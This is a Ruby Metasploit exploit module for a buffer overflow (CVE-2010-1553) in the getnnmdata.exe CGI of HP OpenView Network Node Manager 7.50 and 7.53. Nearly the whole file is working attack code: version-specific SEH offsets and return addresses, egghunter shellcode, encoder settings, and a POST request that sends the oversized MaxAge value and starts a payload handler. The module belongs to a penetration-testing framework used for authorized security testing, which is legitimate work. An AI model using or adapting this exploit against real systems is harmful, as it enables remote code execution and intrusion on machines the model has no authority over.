86 lines
2.5 KiB
Ruby
86 lines
2.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/getnnmdata.exe', :pattern => /Hewlett-Packard Development Company/ }
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'HP OpenView Network Node Manager getnnmdata.exe (MaxAge) CGI Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in HP OpenView Network Node Manager 7.50/7.53.
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By sending specially crafted MaxAge parameter to the getnnmdata.exe CGI,
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an attacker may be able to execute arbitrary code.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2010-1553' ],
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[ 'OSVDB', '64976' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 750,
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'BadChars' => "\x00",
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'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
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'DisableNops' => 'True',
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'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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'EncoderOptions' =>
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{
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'BufferRegister' => 'ECX',
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},
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'HP OpenView Network Node Manager 7.50', { 'Offset' => 7591, 'Ret' => 0x5a01f277 } ],
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[ 'HP OpenView Network Node Manager 7.53', { 'Offset' => 2054, 'Ret' => 0x5a666d69 } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'May 11 2010'))
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end
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def exploit
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egg = rand_text_alpha_upper(4)
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hunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
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hunter << "\xef\xb8" + egg + "\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
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boom = rand_text_alpha_upper(target['Offset'])
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boom << generate_seh_record(target.ret)
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boom << hunter + egg + egg
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boom << payload.encoded
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boom << rand_text_alpha_upper(9024 - payload.encoded.length)
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sploit = "SnmpVals=&MaxAge=#{boom}"
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print_status("Trying target #{target.name}...")
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send_request_cgi({
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'uri' => '/OvCgi/getnnmdata.exe',
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'method' => 'POST',
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'data' => sploit
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}, 8)
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handler
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end
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end
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